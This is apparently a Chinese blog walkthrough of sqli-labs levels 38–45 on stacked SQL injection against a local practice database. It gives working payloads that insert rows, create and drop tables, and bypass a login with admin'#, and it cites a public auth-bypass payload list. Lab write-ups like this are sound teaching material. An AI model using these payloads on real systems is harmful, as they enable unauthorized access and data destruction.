less-38

這一題一樣是用單引號進行閉合,可以發現的確有sql injection:

不過這一次的php原始碼有以下函數:

代表我們可以使用「堆疊注入」,也就是一次執行多個指令,指令間以分號隔開。

可以看看原本資料庫:

D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 128
Server version: 5.5.47 MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select * from users;
ERROR 1046 (3D000): No database selected
mysql> use security;
Database changed
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

經過堆疊注入

0';insert into users(id,username,password) values(38,'less38','hello')--+

之後的資料庫:

的確多了剛剛堆疊注入出的less-38這個帳號。也可以試試多創建一個table:

0';CREATE TABLE WhiteMoon LIKE users;--+

也的確會多出table:

mysql> select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
| whitemoon  |
+------------+
5 rows in set (0.00 sec)

也可以刪除,只要把上圖反藍替換成刪除語句即可:

0';DROP TABLE WhiteMoon;--+

看看下圖,可以比對出的確有刪除。

less-39

是數值型注入,除了不須加單引號外,其他都一樣:

1;CREATE TABLE WhiteMoon LIKE users;--+

1;DROP TABLE WhiteMoon;--+

less-40

一樣,只是要注意閉合是')

1');DROP TABLE WhiteMoon;--+

less-41

可以用跟less-39一模一樣的方式來新增跟刪除table,這題的主要不同點在於這題錯誤不回顯,是盲注。

less-42

看到輸入密碼畫面,總之先用

https://github.com/payloadbox/sql-injection-payload-list

裡面的SQL Injection Auth Bypass Payloads來爆破一次。可以得知在以下payload時會出現錯誤訊息:

可以發現這些payload(length 962-973)的共通點是單引號,所以大概那就是閉合。而這一次一樣是堆疊注入,所以就如法炮製試試看:

帳/密: admin/c';create table less42 like users#

帳/密: admin/c';drop table less42#

如果直接用admin/admin登入成功,則會出現更新密碼畫面:

不過這一題不是二次注入,所以也沒用。

less-43

跟less-42一樣,只是閉合變成了')。這樣的閉合,從下圖length最小的前3個可見一斑。

less-44

上圖反藍的payload,雖然上圖下方的Render沒有顯示出來,但實際用其中一個admin'#,可以成功登入如下圖:

代表這一次還是單引號閉合。之後就一樣是堆疊注入

admin';create table test like users;#

admin';drop table test;#

跟之前的差別,只是這一次不會回顯。

less-45

跟43關payload相同,但跟43一樣不會有報錯訊息。


#sql injection: 一次執行多個指令(堆疊注入;get、post) #sql 指令基礎用法







Related Posts

現有建築光電發電投資的實質選擇權估值

現有建築光電發電投資的實質選擇權估值

如何使用 Python 程式操作 Excel 試算表

如何使用 Python 程式操作 Excel 試算表

Angular17 基於 Standalone 專案載入 Material Symbols (Google Icon)

Angular17 基於 Standalone 專案載入 Material Symbols (Google Icon)


Comments